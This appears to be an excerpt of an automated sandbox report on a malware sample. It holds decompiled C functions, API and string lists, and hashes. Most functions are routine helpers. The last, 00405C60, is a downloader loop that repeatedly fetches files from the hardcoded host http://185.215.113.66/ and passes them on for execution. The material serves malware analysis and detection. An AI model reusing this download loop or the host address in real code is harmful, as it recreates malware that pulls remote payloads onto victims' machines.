
                                                                                                                                                                                                                                                                                                                                                      Function 00404C20 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404C20() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					if(RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28) == 0) {
						_v32 = 0;
						_v36 = 4;
						if(RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36) == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}












                                                                                                                                                                                                                                                                                                                                                      0x00404c2c
                                                                                                                                                                                                                                                                                                                                                      0x00404c2f
                                                                                                                                                                                                                                                                                                                                                      0x00404c36
                                                                                                                                                                                                                                                                                                                                                      0x00404c3d
                                                                                                                                                                                                                                                                                                                                                      0x00404c44
                                                                                                                                                                                                                                                                                                                                                      0x00404c56
                                                                                                                                                                                                                                                                                                                                                      0x00404c7c
                                                                                                                                                                                                                                                                                                                                                      0x00404c7e
                                                                                                                                                                                                                                                                                                                                                      0x00404c85
                                                                                                                                                                                                                                                                                                                                                      0x00404ca9
                                                                                                                                                                                                                                                                                                                                                      0x00404cb7
                                                                                                                                                                                                                                                                                                                                                      0x00404cb7
                                                                                                                                                                                                                                                                                                                                                      0x00404cbe
                                                                                                                                                                                                                                                                                                                                                      0x00404cbe
                                                                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                                                                      0x00404cd1

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetLogicalDrives.KERNEL32 ref: 00404C26
                                                                                                                                                                                                                                                                                                                                                      • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404C74
                                                                                                                                                                                                                                                                                                                                                      • RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404CA1
                                                                                                                                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00404CBE
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • NoDrives, xrefs: 00404C98
                                                                                                                                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404C67
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CloseDrivesLogicalOpenQueryValue
                                                                                                                                                                                                                                                                                                                                                      • String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2666887985-3471754645
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 45e77d1eb8da3679971fd438734ab8ce6999d49331f709e79ad81f84acf3e0ce
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 089c448eddedc734fb2ecb025645128047185f429c430253d4ccfd08190328bc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 45e77d1eb8da3679971fd438734ab8ce6999d49331f709e79ad81f84acf3e0ce
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 07110DB0E0020ADBEB14CFD0D945BEEBBB4FB48704F108119E611B7280D3B85645CF99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 004048E0 Relevance: 9.2, APIs: 6, Instructions: 177fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 97%
                                                                                                                                                                                                                                                                                                                                                      			E004048E0(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x414c50);
				_t111 = _a12;
				_t76 = E0040B160(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B100(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x414c6c; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x414c68;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408B60( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408BD0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408B60( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AA70( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C00( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E00404450(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x414c6c = 0;
								_v5 = 0;
							}
						}
						E00408B60(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW(0x414e80, 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x414c6c; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x414c68; // 0x0
									_t88 =  *0x414c68; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x414c50);
				return _v5;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x004048e8
                                                                                                                                                                                                                                                                                                                                                      0x004048f1
                                                                                                                                                                                                                                                                                                                                                      0x004048fb
                                                                                                                                                                                                                                                                                                                                                      0x004048ff
                                                                                                                                                                                                                                                                                                                                                      0x00404904
                                                                                                                                                                                                                                                                                                                                                      0x0040490c
                                                                                                                                                                                                                                                                                                                                                      0x00404916
                                                                                                                                                                                                                                                                                                                                                      0x0040491b
                                                                                                                                                                                                                                                                                                                                                      0x0040491e
                                                                                                                                                                                                                                                                                                                                                      0x00404925
                                                                                                                                                                                                                                                                                                                                                      0x0040492b
                                                                                                                                                                                                                                                                                                                                                      0x0040492f
                                                                                                                                                                                                                                                                                                                                                      0x00404933
                                                                                                                                                                                                                                                                                                                                                      0x00404945
                                                                                                                                                                                                                                                                                                                                                      0x00404948
                                                                                                                                                                                                                                                                                                                                                      0x0040494e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404963
                                                                                                                                                                                                                                                                                                                                                      0x00404972
                                                                                                                                                                                                                                                                                                                                                      0x00404981
                                                                                                                                                                                                                                                                                                                                                      0x0040498d
                                                                                                                                                                                                                                                                                                                                                      0x004049a8
                                                                                                                                                                                                                                                                                                                                                      0x004049b4
                                                                                                                                                                                                                                                                                                                                                      0x004049c4
                                                                                                                                                                                                                                                                                                                                                      0x004049d8
                                                                                                                                                                                                                                                                                                                                                      0x00404a06
                                                                                                                                                                                                                                                                                                                                                      0x00404a12
                                                                                                                                                                                                                                                                                                                                                      0x00404a2e
                                                                                                                                                                                                                                                                                                                                                      0x00404a33
                                                                                                                                                                                                                                                                                                                                                      0x00404a36
                                                                                                                                                                                                                                                                                                                                                      0x00404974
                                                                                                                                                                                                                                                                                                                                                      0x00404942
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404942
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404972
                                                                                                                                                                                                                                                                                                                                                      0x00404a45
                                                                                                                                                                                                                                                                                                                                                      0x00404a47
                                                                                                                                                                                                                                                                                                                                                      0x00404a57
                                                                                                                                                                                                                                                                                                                                                      0x00404a5c
                                                                                                                                                                                                                                                                                                                                                      0x00404a62
                                                                                                                                                                                                                                                                                                                                                      0x00404a64
                                                                                                                                                                                                                                                                                                                                                      0x00404a66
                                                                                                                                                                                                                                                                                                                                                      0x00404a70
                                                                                                                                                                                                                                                                                                                                                      0x00404a70
                                                                                                                                                                                                                                                                                                                                                      0x00404a64
                                                                                                                                                                                                                                                                                                                                                      0x00404a78
                                                                                                                                                                                                                                                                                                                                                      0x00404a84
                                                                                                                                                                                                                                                                                                                                                      0x00404a86
                                                                                                                                                                                                                                                                                                                                                      0x00404aa6
                                                                                                                                                                                                                                                                                                                                                      0x00404aa9
                                                                                                                                                                                                                                                                                                                                                      0x00404aad
                                                                                                                                                                                                                                                                                                                                                      0x00404aaf
                                                                                                                                                                                                                                                                                                                                                      0x00404ac1
                                                                                                                                                                                                                                                                                                                                                      0x00404ac4
                                                                                                                                                                                                                                                                                                                                                      0x00404aca
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404adb
                                                                                                                                                                                                                                                                                                                                                      0x00404af1
                                                                                                                                                                                                                                                                                                                                                      0x00404b02
                                                                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                                                                      0x00404abe
                                                                                                                                                                                                                                                                                                                                                      0x00404abe
                                                                                                                                                                                                                                                                                                                                                      0x00404b0e
                                                                                                                                                                                                                                                                                                                                                      0x00404b18
                                                                                                                                                                                                                                                                                                                                                      0x00404b18
                                                                                                                                                                                                                                                                                                                                                      0x00404aad
                                                                                                                                                                                                                                                                                                                                                      0x00404a86
                                                                                                                                                                                                                                                                                                                                                      0x00404925
                                                                                                                                                                                                                                                                                                                                                      0x00404b23
                                                                                                                                                                                                                                                                                                                                                      0x00404b31

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00414C50,?,?,00000000,0040A437,006A0266,?,0040A453,00000000,0040B70C,?), ref: 004048F1
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00414E80,40000000,00000000,00000000,00000002,00000002,00000000,?,?,?,?,00000000,0040A437,006A0266), ref: 00404AA0
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,?,?,00000000,00000000,?,?,?,?,00000000), ref: 00404B02
                                                                                                                                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B0E
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B18
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00414C50,?,?,00000000,0040A437,006A0266,?,0040A453,00000000,0040B70C,?), ref: 00404B23
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2945370292-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7678e9b84c2ddcff9cac3e89f87ce428270e6add58285487ef473bdce6231568
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2b18f2e3450dcd847f558ad843e7035d27ef42f20a0987f1f41a040e88bd04a4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7678e9b84c2ddcff9cac3e89f87ce428270e6add58285487ef473bdce6231568
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F0718FF5A002099BCB04CF94D985FEFB7B5BB88304F148169E505BB382D779A941CBA9
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BA90 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040BA90(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BA10( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408A50(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_v16 = CreateThread(0, _a8, _a12, _a16, 0, _a20);
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}







                                                                                                                                                                                                                                                                                                                                                      0x0040ba96
                                                                                                                                                                                                                                                                                                                                                      0x0040baa1
                                                                                                                                                                                                                                                                                                                                                      0x0040bb78
                                                                                                                                                                                                                                                                                                                                                      0x0040bb7e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb7e
                                                                                                                                                                                                                                                                                                                                                      0x0040baaa
                                                                                                                                                                                                                                                                                                                                                      0x0040bab4
                                                                                                                                                                                                                                                                                                                                                      0x0040babe
                                                                                                                                                                                                                                                                                                                                                      0x0040baca
                                                                                                                                                                                                                                                                                                                                                      0x0040baef
                                                                                                                                                                                                                                                                                                                                                      0x0040baf9
                                                                                                                                                                                                                                                                                                                                                      0x0040bb15
                                                                                                                                                                                                                                                                                                                                                      0x0040bb1c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb2c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb3a
                                                                                                                                                                                                                                                                                                                                                      0x0040bb40
                                                                                                                                                                                                                                                                                                                                                      0x0040bb4c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb64
                                                                                                                                                                                                                                                                                                                                                      0x0040bb64
                                                                                                                                                                                                                                                                                                                                                      0x0040bb1c
                                                                                                                                                                                                                                                                                                                                                      0x0040baf9
                                                                                                                                                                                                                                                                                                                                                      0x0040bb72
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BAB4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA10: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BA50
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA10: CloseHandle.KERNEL32(?), ref: 0040BA69
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNEL32 ref: 0040BB0F
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BB4C
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BB57
                                                                                                                                                                                                                                                                                                                                                      • DuplicateHandle.KERNEL32(00000000), ref: 0040BB5E
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BB72
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2251373460-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3782f769450ed6582a1443bec581f483a9540fc43a2cdbaa5fa004088d036f1b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e032b862b2e28ba773953d60cf18c6906d65e3a157070247055cde097aad60f0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3782f769450ed6582a1443bec581f483a9540fc43a2cdbaa5fa004088d036f1b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B311E74A00208EFDB14DF94D889F9E7BB5FF48304F1085A9E905A7391D779AA81CF98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00407870 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00407870(signed int _a4, signed int _a8) {

				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}



                                                                                                                                                                                                                                                                                                                                                      0x0040787d
                                                                                                                                                                                                                                                                                                                                                      0x0040788e
                                                                                                                                                                                                                                                                                                                                                      0x00407897
                                                                                                                                                                                                                                                                                                                                                      0x0040789a
                                                                                                                                                                                                                                                                                                                                                      0x004078b0
                                                                                                                                                                                                                                                                                                                                                      0x004078cc
                                                                                                                                                                                                                                                                                                                                                      0x004078d5
                                                                                                                                                                                                                                                                                                                                                      0x004078d8
                                                                                                                                                                                                                                                                                                                                                      0x004078ee
                                                                                                                                                                                                                                                                                                                                                      0x0040790a
                                                                                                                                                                                                                                                                                                                                                      0x00407913
                                                                                                                                                                                                                                                                                                                                                      0x00407916
                                                                                                                                                                                                                                                                                                                                                      0x00407922

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl_aullshr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 673498613-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bef6b3becddf45f5f10f82a1f07111f5e31d231ee21e8a1fad85fa2f62557b61
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AC1151325145186B9B10EF5EC4826CABBD6EF843A0B14C136FC2CCF319D634D9518BD4
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405C60 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 91%
                                                                                                                                                                                                                                                                                                                                                      			E00405C60() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411100;
				_v164 = 0x411104;
				_v160 = 0x411108;
				_v156 = 0x41110c;
				_v152 = 0x411110;
				while(1) {
					Sleep(0x3e8);
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D330( &_v148, _t45 + _v172 * 4 - 0x28);
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D3E0( &_v148, 0);
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0);
				}
			}























                                                                                                                                                                                                                                                                                                                                                      0x00405c69
                                                                                                                                                                                                                                                                                                                                                      0x00405c72
                                                                                                                                                                                                                                                                                                                                                      0x00405c75
                                                                                                                                                                                                                                                                                                                                                      0x00405c78
                                                                                                                                                                                                                                                                                                                                                      0x00405c7b
                                                                                                                                                                                                                                                                                                                                                      0x00405c7e
                                                                                                                                                                                                                                                                                                                                                      0x00405c81
                                                                                                                                                                                                                                                                                                                                                      0x00405c84
                                                                                                                                                                                                                                                                                                                                                      0x00405c87
                                                                                                                                                                                                                                                                                                                                                      0x00405c8a
                                                                                                                                                                                                                                                                                                                                                      0x00405c8d
                                                                                                                                                                                                                                                                                                                                                      0x00405c97
                                                                                                                                                                                                                                                                                                                                                      0x00405ca1
                                                                                                                                                                                                                                                                                                                                                      0x00405cab
                                                                                                                                                                                                                                                                                                                                                      0x00405cb5
                                                                                                                                                                                                                                                                                                                                                      0x00405cbf
                                                                                                                                                                                                                                                                                                                                                      0x00405cc4
                                                                                                                                                                                                                                                                                                                                                      0x00405cca
                                                                                                                                                                                                                                                                                                                                                      0x00405ce5
                                                                                                                                                                                                                                                                                                                                                      0x00405cf3
                                                                                                                                                                                                                                                                                                                                                      0x00405d06
                                                                                                                                                                                                                                                                                                                                                      0x00405d07
                                                                                                                                                                                                                                                                                                                                                      0x00405d18
                                                                                                                                                                                                                                                                                                                                                      0x00405d33
                                                                                                                                                                                                                                                                                                                                                      0x00405d38
                                                                                                                                                                                                                                                                                                                                                      0x00405d41
                                                                                                                                                                                                                                                                                                                                                      0x00405d4c
                                                                                                                                                                                                                                                                                                                                                      0x00405d51
                                                                                                                                                                                                                                                                                                                                                      0x00405d51
                                                                                                                                                                                                                                                                                                                                                      0x00405cdf
                                                                                                                                                                                                                                                                                                                                                      0x00405cdf
                                                                                                                                                                                                                                                                                                                                                      0x00405d5b
                                                                                                                                                                                                                                                                                                                                                      0x00405d5b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleep$wsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%s$http://185.215.113.66/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3195947292-2646931437
